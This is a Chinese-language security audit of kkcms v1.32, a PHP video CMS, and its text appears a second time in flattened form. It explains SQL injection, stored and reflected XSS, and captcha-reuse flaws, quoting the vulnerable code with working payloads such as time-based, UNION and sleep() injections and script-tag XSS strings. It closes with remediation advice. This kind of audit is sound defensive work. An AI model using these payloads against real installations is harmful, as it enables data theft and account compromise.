“快看”cms v1.32代码审计
字数 1549 2025-08-27 12:33:23

"快看"CMS v1.32代码审计报告

一、环境搭建

  1. 源码获取

    • GitHub地址:https://github.com/erichuang2015/kkcms
    • 选择版本:kkcms-v1.32
  2. 环境要求

    • PHP 5.6.27
    • MySQL 5.5.53
    • 推荐使用phpStudy搭建
  3. 安装步骤

    • 解压源码到phpStudy根目录
    • 启动phpStudy
    • 创建数据库(如kkcms)
    • 访问安装页面完成安装

二、目录结构分析

system/        # 系统核心目录
  inc.php      # 核心包含文件
  library.php  # 库函数
  function.php # 功能函数
  config.php   # 配置文件
ucenter/       # 用户中心
admin/         # 后台管理
template/      # 模板文件
wap/           # 手机端

三、漏洞分析

1. SQL注入漏洞

(1) 注册功能注入(ucenter/reg.php)

漏洞原理

  • 使用stripslashes()函数去除转义
  • 但前面有addslashes_deep()函数添加转义
  • 导致"负负得正"效果,转义被取消

漏洞代码

$username = stripslashes(trim($_POST['name']));
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");

利用方法

name=1' AND 2309=2309 AND 'tslg'='tslg
name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='XUOn

影响文件

  • ucenter/reg.php
  • ucenter/active.php
  • ucenter/repass.php
  • wap/login.php

(2) 模板文件注入(template/wapian/vlist.php)

漏洞原理

  • 未引入转义处理文件
  • 直接拼接SQL查询

漏洞代码

$result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');

利用方法

cid=1) UNION ALL SELECT NULL,NULL,CONCAT(0x7162717a71,0x4572725a7062476e5a734c4f51454742724f4579755449744967454b6a695461545a4857576a7952,0x7170706271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

(3) 后台删除功能注入(admin/model/usergroup.php)

漏洞原理

  • 后台删除操作未过滤参数
  • 虽然引入转义文件但仍有注入

漏洞代码

$sql = 'delete from xtcms_user_group where ug_id = ' . $_GET['del'] . '';

利用方法

?del=2%20and%20sleep(10)

2. XSS漏洞

(1) 存储型XSS(youlian.php)

漏洞原理

  • 内容字段经过转义处理但最终无效
  • 数据存储后直接输出

漏洞代码

$data['content'] =addslashes($_POST['content']);
// 存储后直接输出
echo $row['content'];

利用payload

<script>alert(/123456/)</script>

(2) 反射型XSS(admin/cms_kamilist.php)

漏洞原理

  • GET参数直接输出
  • 无有效过滤

漏洞代码

echo '?cpass='.$_GET["id"];

利用payload

?id="><script>alert(/1/)</script>

(3) 多文件反射型XSS

影响文件

  • /wap/shang.php
  • /wap/movie.php
  • /wap/tv.php
  • /wap/zongyi.php
  • /wap/dongman.php

利用payload

?m="><script>alert(/wowowo/)</script>

3. 验证码重用漏洞(admin/cms_login.php)

漏洞原理

  • 验证码无时效限制
  • 可重用验证码进行爆破

漏洞代码

if ($_SESSION['verifycode'] != $_POST['verifycode']) {
    alert_href('验证码错误','cms_login.php');
}

利用方法

  1. 获取有效验证码
  2. 使用Burp Suite固定验证码进行爆破

4. 文件上传漏洞

参考链接
https://blog.csdn.net/qq_44713013/article/details/122187203

四、漏洞修复建议

  1. SQL注入修复

    • 统一使用预处理语句
    • 避免直接拼接SQL
    • 检查所有stripslashes()使用场景
  2. XSS修复

    • 输出时使用htmlspecialchars()过滤
    • 严格限制用户输入内容
    • 实现CSP策略
  3. 验证码修复

    • 添加时效限制(如60秒过期)
    • 使用后立即销毁session
    • 增加验证码复杂度
  4. 架构改进

    • 统一安全过滤机制
    • 避免"负负得正"的安全逻辑
    • 实现权限最小化原则

五、审计经验总结

  1. 重点关注

    • 用户输入直接拼接SQL的地方
    • 未过滤直接输出的变量
    • 验证码等安全机制实现
  2. 审计技巧

    • 全局搜索敏感函数(如mysql_query、echo $_GET等)
    • 跟踪变量传递过程
    • 检查包含文件的安全机制
  3. 常见问题

    • 转义函数使用不当
    • 过滤逻辑存在缺陷
    • 安全机制可被绕过
  4. 学习建议

    • 深入理解PHP安全函数
    • 学习主流框架的安全机制
    • 建立系统的审计方法论

本报告详细分析了"快看"CMS v1.32版本中存在的多种安全漏洞,包括SQL注入、XSS、验证码缺陷等,并提供了相应的修复建议。审计过程中发现该CMS存在多处"负负得正"的安全逻辑缺陷,值得开发人员引以为戒。

"快看"CMS v1.32代码审计报告 一、环境搭建 源码获取 : GitHub地址:https://github.com/erichuang2015/kkcms 选择版本:kkcms-v1.32 环境要求 : PHP 5.6.27 MySQL 5.5.53 推荐使用phpStudy搭建 安装步骤 : 解压源码到phpStudy根目录 启动phpStudy 创建数据库(如kkcms) 访问安装页面完成安装 二、目录结构分析 三、漏洞分析 1. SQL注入漏洞 (1) 注册功能注入(ucenter/reg.php) 漏洞原理 : 使用 stripslashes() 函数去除转义 但前面有 addslashes_deep() 函数添加转义 导致"负负得正"效果,转义被取消 漏洞代码 : 利用方法 : 影响文件 : ucenter/reg.php ucenter/active.php ucenter/repass.php wap/login.php (2) 模板文件注入(template/wapian/vlist.php) 漏洞原理 : 未引入转义处理文件 直接拼接SQL查询 漏洞代码 : 利用方法 : (3) 后台删除功能注入(admin/model/usergroup.php) 漏洞原理 : 后台删除操作未过滤参数 虽然引入转义文件但仍有注入 漏洞代码 : 利用方法 : 2. XSS漏洞 (1) 存储型XSS(youlian.php) 漏洞原理 : 内容字段经过转义处理但最终无效 数据存储后直接输出 漏洞代码 : 利用payload : (2) 反射型XSS(admin/cms_ kamilist.php) 漏洞原理 : GET参数直接输出 无有效过滤 漏洞代码 : 利用payload : (3) 多文件反射型XSS 影响文件 : /wap/shang.php /wap/movie.php /wap/tv.php /wap/zongyi.php /wap/dongman.php 利用payload : 3. 验证码重用漏洞(admin/cms_ login.php) 漏洞原理 : 验证码无时效限制 可重用验证码进行爆破 漏洞代码 : 利用方法 : 获取有效验证码 使用Burp Suite固定验证码进行爆破 4. 文件上传漏洞 参考链接 : https://blog.csdn.net/qq_ 44713013/article/details/122187203 四、漏洞修复建议 SQL注入修复 : 统一使用预处理语句 避免直接拼接SQL 检查所有stripslashes()使用场景 XSS修复 : 输出时使用htmlspecialchars()过滤 严格限制用户输入内容 实现CSP策略 验证码修复 : 添加时效限制(如60秒过期) 使用后立即销毁session 增加验证码复杂度 架构改进 : 统一安全过滤机制 避免"负负得正"的安全逻辑 实现权限最小化原则 五、审计经验总结 重点关注 : 用户输入直接拼接SQL的地方 未过滤直接输出的变量 验证码等安全机制实现 审计技巧 : 全局搜索敏感函数(如mysql_ query、echo $_ GET等) 跟踪变量传递过程 检查包含文件的安全机制 常见问题 : 转义函数使用不当 过滤逻辑存在缺陷 安全机制可被绕过 学习建议 : 深入理解PHP安全函数 学习主流框架的安全机制 建立系统的审计方法论 本报告详细分析了"快看"CMS v1.32版本中存在的多种安全漏洞,包括SQL注入、XSS、验证码缺陷等,并提供了相应的修复建议。审计过程中发现该CMS存在多处"负负得正"的安全逻辑缺陷,值得开发人员引以为戒。